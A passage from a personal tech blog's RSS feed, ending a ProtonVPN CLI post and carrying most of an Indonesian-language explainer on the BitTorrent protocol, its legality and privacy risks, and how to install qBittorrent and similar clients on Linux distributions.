window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://proton.me/about&quot; target=&quot;_blank&quot;&gt;https://proton.me/about&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://proton.me&quot; target=&quot;_blank&quot;&gt;https://proton.me&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://protonvpn.com/what-is-a-vpn&quot; target=&quot;_blank&quot;&gt;https://protonvpn.com/what-is-a-vpn&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bytebytego.com/guides/how-does-a-vpn-work/&quot; target=&quot;_blank&quot;&gt;https://bytebytego.com/guides/how-does-a-vpn-work/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://protonvpn.com/support/linux-cli&quot; target=&quot;_blank&quot;&gt;https://protonvpn.com/support/linux-cli&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Torrenting: P2P Network Through BitTorrent Protocol for Distributing and Downloading Files (ft. qbittorrent)</title><link>https://shangdi.github.io/posts/tech/torrent/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/torrent/</guid><description>Once you understand how torrent works profoundly, not only can you utilize it better, but also your understanding regarding how internet actually works will shift.</description><pubDate>Wed, 22 Apr 2026 10:31:31 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Getting to Know&lt;a href=&quot;#getting-to-know&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Preface&lt;a href=&quot;#preface&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pernahkah kalian menyadari bahwa sebetulnya, banyak hal di internet dapat dipahami dengan men-simplifikasi cara kerjanya dengan melihatnya sebagai &lt;strong&gt;server-client&lt;/strong&gt;. Analoginya mirip seperti ketika kita ingin membeli makanan: Penjual makanannya adalah &lt;strong&gt;&lt;em&gt;server&lt;/em&gt;&lt;/strong&gt; dan kita sebagai pelanggan atau pembelinya adalah &lt;strong&gt;&lt;em&gt;client&lt;/em&gt;&lt;/strong&gt;. Begitupula ketika kita berselancar di internet, misalnya ketika akan menonton video Youtube, membacara artikel, termasuk men-&lt;em&gt;download&lt;/em&gt; file.&lt;/p&gt;&lt;p&gt;Ketika akan mengunduh suatu file dari internet, katakanlah file artikel jurnal, maka mekanisme server-client akan bekerja. Server-nya adalah website jurnal itu sendiri, sementara client-nya adalah kita (atau secara teknis, browser yang kita gunakan untuk membuka website tersebut). Mekanisme tersebut adalah mekanisme yang paling populer digunakan di internet hingga saat ini.&lt;/p&gt;&lt;p&gt;Namun, seiring berjalannya waktu, ukuran file semakin besar, terutama file video, image (iso), dan lain sebagainya. Di saat yang sama, peningkatan ukuran file tersebut tidak selalu diimbangi oleh peningkatan kecepatan internet, setidaknya di beberapa wilayah. Apalagi, pertumbuhan jumlah pengguna internet juga semakin banyak. Oleh karena itu, dalam konteks tersebut, mekanisme server-client mulai dianggap tidak efisien dan efektif sehingga orang-orang mulai mencari mekanisme lain yang dianggap lebih baik: &lt;strong&gt;P2P &lt;em&gt;network&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;What is Torrent(ing)?&lt;a href=&quot;#what-is-torrenting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Torrenting&lt;/em&gt; adalah cara untuk men-&lt;em&gt;download&lt;/em&gt; (dan disaat yang sama juga mendistribusikan) file melalui jaringan P2P (&lt;em&gt;peer-to-peer&lt;/em&gt;) menggunakan &lt;strong&gt;file torrent&lt;/strong&gt; (.torrent) atau &lt;strong&gt;magnet links&lt;/strong&gt;. File torrent itu semacam catatan alamat (metadata) yang menunjukkan dimana file atau bagian-bagian file tersebut berada di dalam jaringan. Sementara itu, magnet link adalah tautan yang langsung berisi hash (identitas unik file) untuk mencari data di jaringan. Dengan mengunduh dari dari “peer” lain yang ada di jaringan tersebut, proses &lt;em&gt;download&lt;/em&gt; file berukuran besar akan menjadi lebih cepat.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Torrent file (.torrent) signature:&lt;/strong&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;
&lt;code&gt;64 38 3A 61 6E 6E 6F 75 6E 63 65&lt;/code&gt;&lt;br /&gt;
Beberapa contoh file signature &lt;strong&gt;.torrent&lt;/strong&gt;:&lt;br /&gt;
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;torrent file signature&quot; loading=&quot;lazy&quot; width=&quot;614&quot; height=&quot;519&quot; src=&quot;/_astro/ss1.DduaCLRl_ZYmoPm.webp&quot; /&gt;&lt;figcaption&gt;torrent file signature&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Saya sudah menulis tentang “file signature” di artikel berikut:&lt;/p&gt;&lt;a href=&quot;/posts/tech/filesig/&quot;&gt;&lt;div&gt;&lt;div&gt;File Signature: How Computer Identifies File Types&lt;/div&gt;&lt;div&gt;File signature is one of the most common concepts when it comes to identifying types of files in your opeating system.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2026-03-30&lt;/span&gt;&lt;span&gt;file signature&lt;/span&gt;&lt;span&gt;&lt;span&gt;#file signature&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;span&gt;#windows&lt;/span&gt;&lt;span&gt;#metadata&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;314&quot; src=&quot;/_astro/featured.DOb3QlTS_Z1wpNwe.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;section&gt;&lt;h4&gt;P2P Network&lt;a href=&quot;#p2p-network&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sebelum melangkah lebih jauh, alangkah lebih baiknya jika kita berkenalan dengan jaringan P2P terlebih dahulu. P2P Network atau Jaringan Peer-To-Peer adalah mekanisme/metode/model lain yang digunakan oleh komputer untuk dapat terhubung dengan komputer lainnya. Seperti yang sudah saya singgung di bagian “Preface” artikel ini, jaringan komputer yang cukup populer adalah &lt;strong&gt;Server-Client&lt;/strong&gt;. Namun, ada jenis model jaringan komputer yang lain, yaitu &lt;strong&gt;P2P&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Pada dasarnya, perbedaan utama antara model server-client dengan P2P dapat terlihat dari kedudukan suatu perangkat terhadap perangkat lainnya di dalam jaringan. Jika model server-client memiliki pusat kontrol (server), maka model P2P tidak memiliki pusat kontrol karena setiap perangkat dapat berperan sebagai penyedia layanan (&lt;em&gt;server&lt;/em&gt;) dan pengguna layanan (&lt;em&gt;client&lt;/em&gt;) di saat yang bersamaan. Dengan kata lain, model server-client dibangun berdasarkan ide &lt;strong&gt;sentralisasi&lt;/strong&gt;, sementara model P2P dibangun atas ide &lt;strong&gt;desentralisasi&lt;/strong&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Berikut ilustrasi perbedaan keduanya:&lt;/p&gt;&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a&gt;&lt;img alt=&quot;Server-Client model vs P2P model. Source: [systemdesignschool.io]&quot; loading=&quot;lazy&quot; width=&quot;1676&quot; height=&quot;788&quot; src=&quot;/_astro/ss2.EAi63j-Y_1KJy2r.webp&quot; /&gt;&lt;figcaption&gt;Server-Client model vs P2P model. Source: [systemdesignschool.io]&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti kita ketahui, banyak protokol (aturan komunikasi) yang terdapat dalam jaringan server-client (seperti SSH, HTTP/S, SMB, etc). Begitupula dalam jaringan P2P, terdapat banyak protokol yang tersedia, salah satunya adalah protokol &lt;strong&gt;BitTorrent&lt;/strong&gt;.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Daftar protokol P2P&lt;/strong&gt;: &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_P2P_protocols&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/List_of_P2P_protocols&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;BitTorrent Protocol&lt;a href=&quot;#bittorrent-protocol&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;BitTorrent adalah adalah salah satu protokol di jaringan P2P yang ditujukan untuk mentrasfer file.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; Beberapa terminologi dasar yang diperlukan untuk memahami cara kerja protokol ini, antara lain:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Web Server:&lt;/strong&gt; Server penyedia file torrent (.torrent) atau magnet link (seperti &lt;a href=&quot;https://thepiratebay.org/index.html&quot; target=&quot;_blank&quot;&gt;PirateBay&lt;/a&gt;, &lt;a href=&quot;https://www.1377x.to/&quot; target=&quot;_blank&quot;&gt;1337x&lt;/a&gt;, &lt;a href=&quot;https://www.limetorrents.fun/&quot; target=&quot;_blank&quot;&gt;LimeTorrents&lt;/a&gt;, dan lain sebagainya).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tracker:&lt;/strong&gt; Server yang mengkoordinasikan &lt;em&gt;peers&lt;/em&gt; di dalam jaringan (tidak ada kaitannya dengan file/folder yang akan didistribusikan).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Peers:&lt;/strong&gt; Seluruh perangkat atau komputer yang terdapat di dalam jaringan, dapat berupa &lt;em&gt;leechers&lt;/em&gt; atau &lt;em&gt;seeders&lt;/em&gt;.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Leechers:&lt;/strong&gt; Perangkat atau komputer di dalam jaringan yang mengunduh file (atau bagian-bagian file).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Seeders:&lt;/strong&gt; Perangkat atau komputer yang di dalam jaringan yang memiliki file utuh.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Artinya, semakin banyak &lt;em&gt;seeders&lt;/em&gt; (pemilik file utuh/penyedia file) di dalam jaringan, maka semakin cepat proses &lt;em&gt;download&lt;/em&gt; file yang dilakukan oleh &lt;em&gt;leechers&lt;/em&gt;.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Secara spesifik, berikut adalah diagram struktur dan alur kerja perangkat atau komputer pada protokol BitTorrent:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.researchgate.net/publication/225633414_Modeling_energy_efficiency_of_file_sharing&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://www.researchgate.net/publication/225633414_Modeling_energy_efficiency_of_file_sharing&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;BitTorrent Protocol. Source: [ResearchGate]&quot; loading=&quot;lazy&quot; width=&quot;779&quot; height=&quot;703&quot; src=&quot;/_astro/ss3.PTCk0AdX_Ax1s9.webp&quot; /&gt;&lt;figcaption&gt;BitTorrent Protocol. Source: [ResearchGate]&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;Leecher&lt;/em&gt;&lt;/strong&gt; men-&lt;em&gt;download&lt;/em&gt; file torrent (.torrent) dari &lt;strong&gt;&lt;em&gt;Web Server&lt;/em&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Dalam proses pencarian file, &lt;strong&gt;&lt;em&gt;Leecher&lt;/em&gt;&lt;/strong&gt; akan menghubungi &lt;strong&gt;&lt;em&gt;Tracker&lt;/em&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;Tracker&lt;/em&gt;&lt;/strong&gt; akan  memberi daftar &lt;strong&gt;&lt;em&gt;Peers&lt;/em&gt;&lt;/strong&gt; di dalam jaringan.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;Leecher&lt;/em&gt;&lt;/strong&gt; mulai men-&lt;em&gt;download&lt;/em&gt; file dari &lt;strong&gt;&lt;em&gt;Peers&lt;/em&gt;&lt;/strong&gt; yang menyediakan file-nya (&lt;strong&gt;&lt;em&gt;Seeders&lt;/em&gt;&lt;/strong&gt;)&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Legality&lt;a href=&quot;#legality&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Meskipun aktivitas &lt;em&gt;torrenting&lt;/em&gt; memang erat kaitannya dengan tindakan ilegal karena membagikan konten curian. Namun, pada dasarnya, seperti yang sudah diterangkan pada bagian sebelumnya, BitTorrent hanyalah sebuah protokol yang dibuat untuk menyelesaikan masalah transfer file, terutama yang berukuran lebih besar sehingga prosesnya menjadi lebih cepat dan efisien. Oleh karena itu, tidak semua file yang didistrisikan di BitTorrent adalah konten ilegal (tidak resmi). Misalnya, banyak file image (.iso) Linux didistribusikan secara P2P melalui BitTorrent.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.kali.org/get-kali/#kali-installer-images&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://www.kali.org/get-kali/#kali-installer-images&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;KaliLinux .iso is available in .torrent file. Source: [Kali Linux Official Website]&quot; loading=&quot;lazy&quot; width=&quot;1314&quot; height=&quot;708&quot; src=&quot;/_astro/ss4._YnCXVN7_jIMsg.webp&quot; /&gt;&lt;figcaption&gt;KaliLinux .iso is available in .torrent file. Source: [Kali Linux Official Website]&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Bagaimana cara mengidentifikasi apakah file tersebut resmi atau tidak? Tentu saja cara yang paling mudah adalah dengan melihat lisensi file tersebut. Secara umum, misalnya, file-file video seperti film, buku, dan sejenisnya adalah jenis file yang ber-copyright alias ilegal jika didistribusikan tanpa izin resmi. Namun, seperti yang saya singgung sebelumnya, file-file image (.iso) Linux umumnya memang bebas disebarluaskan karena Linux sendiri berlisensi &lt;em&gt;open source&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Jadi, &lt;strong&gt;&lt;em&gt;torrenting&lt;/em&gt; adalah aktivitas legal&lt;/strong&gt;, selama tidak digunakan untuk men-&lt;em&gt;download&lt;/em&gt; konten-konten atau file-file yang ber-&lt;em&gt;copyright&lt;/em&gt; atau melanggar hukum.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Privacy &amp;amp; Security&lt;a href=&quot;#privacy--security&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Beberapa efek samping dari melakukan kegiatan &lt;em&gt;torrenting&lt;/em&gt; di internet, terutama yang terkait dengan privasi dan keamanan digital antara lain:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;ISP (&lt;em&gt;Internet Service Provider&lt;/em&gt;) dapat melihat aktivitas &lt;em&gt;torrenting&lt;/em&gt; kita.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Peers&lt;/em&gt; dalam jaringan dapat melihat IP Address kita.&lt;/li&gt;
&lt;li&gt;File yang diunduh bisa saja mengandung virus atau &lt;em&gt;malware&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Ketika ISP tau kita sedang melakukan &lt;em&gt;torrenting&lt;/em&gt;, yang mana memerlukan &lt;em&gt;bandwith&lt;/em&gt; yang besar, bisa saja mereka membatasi kecepatan internetnya sehingga proses &lt;em&gt;download&lt;/em&gt;-nya menjadi lambat. Selain itu, mereka juga dapat merekam data terkait aktivitas &lt;em&gt;torrenting&lt;/em&gt; kita, yang dapat kapan saja diberikan kepada pihak berwajib nanti jika diperlukan.&lt;/p&gt;&lt;p&gt;Peers (baik &lt;em&gt;leechers&lt;/em&gt; maupun &lt;em&gt;seeders&lt;/em&gt;) juga dapat melihat &lt;em&gt;IP Adress&lt;/em&gt; kita. Hal ini menjadi berbahaya karena kita tidak pernah tahu apakah ada orang-orang yang mengintai kita di balik layar sana. Jika mereka adalah orang jahat, maka kita bisa saja menjadi target serangan kemanan digital di internet.&lt;/p&gt;&lt;p&gt;Mengunduh file yang disusupi virus atau &lt;em&gt;malware&lt;/em&gt; tentu saja juga perlu menjadi perhatian agar kita lebih berhati-hati dalam &lt;em&gt;torrenting&lt;/em&gt;. Jika file yang kita unduh sudah disusupi &lt;em&gt;malware&lt;/em&gt;, maka besar kemungkinan komputer kita sudah dimiliki oleh orang lain (di-&lt;em&gt;hack&lt;/em&gt;).&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Solution&lt;a href=&quot;#solution&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Salah satu solusi yang paling praktis untuk mengamankan privasi kita adalah dengan menggunakan VPN. Tapi, kita juga perlu memilah-memilih VPN yang akan kita gunakan, sebab, tidak sedikit VPN yang hari ini juga mencuri data pelanggannya.&lt;/p&gt;&lt;p&gt;Saya sendiri menggunakan &lt;code&gt;proton-vpn-cli&lt;/code&gt;.&lt;br /&gt;
Untuk instalasi dan penggunaannya, silakan baca di sini:&lt;/p&gt;&lt;a href=&quot;/posts/tech/protonvpn/&quot;&gt;&lt;div&gt;&lt;div&gt;ProtonVPN CLI: Simple, Free, Yet Reliable VPN&lt;/div&gt;&lt;div&gt;The most convenient way to connect to a VPN service.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2026-04-26&lt;/span&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt;&lt;span&gt;#protonvpn&lt;/span&gt;&lt;span&gt;#vpn&lt;/span&gt;&lt;span&gt;#tunnel&lt;/span&gt;&lt;span&gt;#wireguard&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;339&quot; src=&quot;/_astro/featured.CI_CHn4j_Z1XC51U.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa &lt;em&gt;software&lt;/em&gt; yang dapat digunakan untuk melakukan &lt;em&gt;torrenting&lt;/em&gt;:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;qbittorrent:&lt;/strong&gt; &lt;a href=&quot;https://www.qbittorrent.org/&quot; target=&quot;_blank&quot;&gt;https://www.qbittorrent.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;a href=&quot;https://github.com/qbittorrent/qBittorrent&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;qbittorrent&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;qBittorrent&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;transmission:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;ul&gt;
&lt;li&gt;Official Website: &lt;a href=&quot;https://transmissionbt.com/&quot; target=&quot;_blank&quot;&gt;https://transmissionbt.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;a href=&quot;https://github.com/transmission/transmission&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;transmission&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;transmission&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;deluge:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;ul&gt;
&lt;li&gt;Official Website: &lt;a href=&quot;https://deluge-torrent.org/&quot; target=&quot;_blank&quot;&gt;https://deluge-torrent.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;a href=&quot;https://github.com/deluge-torrent/deluge&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;deluge-torrent&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;deluge&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Ketiganya adalah &lt;em&gt;software&lt;/em&gt; &lt;em&gt;open source&lt;/em&gt; dan gratis serta tidak mengandung iklan di dalamnya. Saya pribadi menggunakan &lt;strong&gt;qbittorrent&lt;/strong&gt;, karena menurut saya itulah BitTorrent &lt;em&gt;software&lt;/em&gt; yang paling populer saat ini. Salah satu keunggulannya menurut saya dibandingkan yang lain adalah dia memiliki banyak fitur yang berguna. Kita akan bahas di bagian berikutnya.&lt;/p&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;qbittorrent&lt;/code&gt; di beberapa sistem operasi Linux:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install -y qbittorrent qbittorrent-nox&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy qbittorrent qbittorrent-nox&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install qbittorrent&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install qbittorrent qbittorrent-nox&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;qbittorrent&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;qbittorrent-nox&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; 